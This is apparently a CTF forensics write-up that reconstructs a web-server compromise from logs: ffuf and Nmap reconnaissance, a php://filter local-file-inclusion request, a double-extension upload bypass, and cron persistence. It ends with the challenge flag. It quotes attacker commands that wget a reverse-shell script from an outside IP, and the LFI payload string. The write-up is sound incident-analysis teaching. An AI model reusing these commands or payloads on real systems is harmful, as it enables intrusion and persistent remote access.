This mission is the second part of a CTF, if you missed the first mission, you can check it out here : DGSE CTF 2025 - Mission 1
The allied organisation Nuclear Punk, which was attacked by the entity, has provided us with its logs to help us understand the techniques used by the attackers, as well as the various compromise vectors exploited.
To identify the attacking group, you need to recover the request that enabled the attacker to successfully use the first vulnerability in the application, the name of the vulnerability (in the format below) used by the attacker to execute the command, the IP address of the server used by the attacker and the exact location of the file that enables persistence.
Recon
We have a compromised server logs and must identify 4 things :
- the first vulnerability used by the attacker
- the second vulnerability
- the IP the tools are from
- the path of the persistence file
We have two files, one containing network traffic logs and the other containing commands history. I start with the traffic logs and take a look at the IP addresses requests statistics, none of them seems to stand out. I also check the other available fields such as reponses codes, methods, etc…
Globally, the statistics do not give me more clue. The thing I should have done is to look at the big picture and notice packet traffic spikes… (I still managed to find my way through).
Traffic : Filters for commands execution in requests
Since there is too much noise, I decide to apply a very basic filter that searches for specific keywords typically used by attackers in their requests (in a real scenario, I think this filter would still show too much noise, but it is a CTF so I give it a try).
I luckily found very few results
These requests execute commands, encoded in Base64, via a file named ev1l.php.png. Decoding them gives these commands in clear text :
ls -la
whoami
pwd
ping -c 1 google.com
curl http[:]//163.172.67.201:49999/
wget http[:]//163.172.67.201:49999/s1mpl3-r3vsh3ll-vps.sh
chmod +x s1mpl3-r3vsh3ll-vps.sh
Info Notice: Note that the IP addresses you see have been voluntarily obfuscated with brackets [] as we usually do in reports sharing artifacts
This way of executing commands is very suspicious, moreover, the commands ping an IP address, download a script and give them execution permission (it is probably a tool for further attack steps).
Here we obtained the IP address the tools are from which is the element #3 : 163[.]172.67.201
We now have the precise time when the initial foothold happened, we have to look for earlier events to find the two vulnerabilities that allowed it.
Traffic : Looking for the initial foothold
Content discovery
I put the filter to get the requests from the IP address that executed the commands (10[.]143.17.101) a few minutes before, I notice dozens GET requests for multiple directories like in this example :
[28/Mar/2025:00:40:52 +0100] "GET /.psql_history HTTP/1.1" 403 199 "-" "Fuzz Faster U Fool v2.1.0-dev"
The User-Agent Fuzz Faster U Fool v2.1.0-dev is a known fuzzing tool, that you could have heard of as ffuf, usually used for content discovery.
I also notice Nmap’s scripting engine (NSE) requests doing more detailed enumeration, here are some examples :
GET /robots.txt HTTP/1.1" 404 196 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
OPTIONS / HTTP/1.1" 200 6607 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
It seems like it is used to probe what HTTP methods the server supports.
Finding a vulnerability for POST : Local File Inclusion (LFI)
After spending some time reading the logs backward, I find something interesting :
"GET /?lang=php://filter/read=convert.base64-encode/resource=index.php&page=passwd HTTP/1.1" 200"
-> The attacker succeeds at reading the passwd page of the website by applying a filter that converts it into Base64 => it means there is a Local File Inclusion (LFI) vulnerability on the page, linked to the CWE-98: Improper Control of Filename for Include, giving us element #1 (first vulnerability used) !!
"POST /admin-page/manage.php?failed=unauthorized HTTP/1.1" 302"
-> They try to poke at the upload or management feature, but fail.
"GET /?lang=php://filter/read=convert.base64-encode&page=resource=admin-page/manage HTTP/1.1" 200"
-> They do the Base64 filter trick (the LFI) for the admin-page/manage, that defines the upload or management logic of the website.
POST /admin-page/manage.php?success=true&path=upload/90e2f72c1049efbec5ffb6e152415986/hackerman.jpg HTTP/1.1" 302"
-> Once they understood how UPLOAD requests work there, they tried uploading a .jpg file (hackerman.jpg) and succeeded.
GET /admin-page/manage.php?success=true&path=upload/68af9111db3749e2e8af39e255fd874c/ev1L.php.png HTTP/1.1" 200"
-> They managed to upload reverse shell (that executed the Base64-encoded commands that we found in the first place). You can notice the file ev1L.php.png has bypassed the extension check by simply adding .png at the end of it ; a vulnerability caused by bad file sanitization and linked to CWE-434: Unrestricted Upload of File with Dangerous Type, our element #2 and second vulnerability !!
Command history : the persistence file
We can now check the systemd logs, which contain the commands history. I start by filtering out every event that happened before the payload got uploaded.
I search for the keyword s1mpl3-r3vsh3ll-vps.sh, which is the tool that got downloaded on the target machine we found here. I naturally search for a moment when the attacker downloads another file that will serve their persistence.
After some manipulations, the attacker finally downloads a file :
EXECVE argc=4 a0="wget" a1-"http://163.172.67.201:49999/s1mpl3-r3vsh3ll.sh" a2="-0" a3="/root/.0x00/pwn3d-by-nullv4stati0n.sh"
They, then, add it to the crontab (a table that contains tasks that execute at regular intervals and can stay even after the machine is turned off), which demonstrates the persistence of the file. We got our last element #4 : /root/.0x00/pwn3d-by-nullv4stati0n.sh !
Attack Summary
We have gathered the four key artifacts and can conclude that the attacker proceeded through the following phases:
- Reconnaissance – Content Discovery
- Content discovery using various methods / tools to enumerate accessible resources on the target server.
- Attempt to Upload Malicious Content
- They searched for a way to upload a malicious file, probing the application’s upload mechanisms and endpoints.
- Source Code Disclosure via LFI (CWE-98)
- The attacker exploited a Local File Inclusion vulnerability to access sensitive server files.
- Through this, they retrieved the source code of the
admin-page/manageendpoint. - Element #1 identified:
CWE-98: Improper Control of File Name or Path.
- Malicious File Upload (CWE-434)
- With the upload logic understood, they successfully uploaded a malicious file due to an unrestricted file upload vulnerability.
- Element #2 identified:
CWE-434: Unrestricted Upload of File with Dangerous Type.
- Reverse Shell Retrieval
- The payload included a call to retrieve a reverse shell tool from:
163[.]172.67.201 - Element #3: external IP and malicious binary source.
- The payload included a call to retrieve a reverse shell tool from:
- Persistence via Cron
- Using the reverse shell, they downloaded a file:
/root/.0x00/pwn3d-by-nullv4stati0n.sh - It was then added to
crontab, establishing persistence on the compromised system.
- Using the reverse shell, they downloaded a file:
Conclusion
The attacker followed a classic web intrusion chain: reconnaissance → vulnerability exploitation → file upload → remote access → persistence.
The attack demonstrates clear misuse of insecure upload mechanisms and LFI flaws.
The flag is :
RM{CWE-98:CWE-434:163.172.67.201:/root/.0x00pwn3d-by-nullv4stati0n.sh}
GG
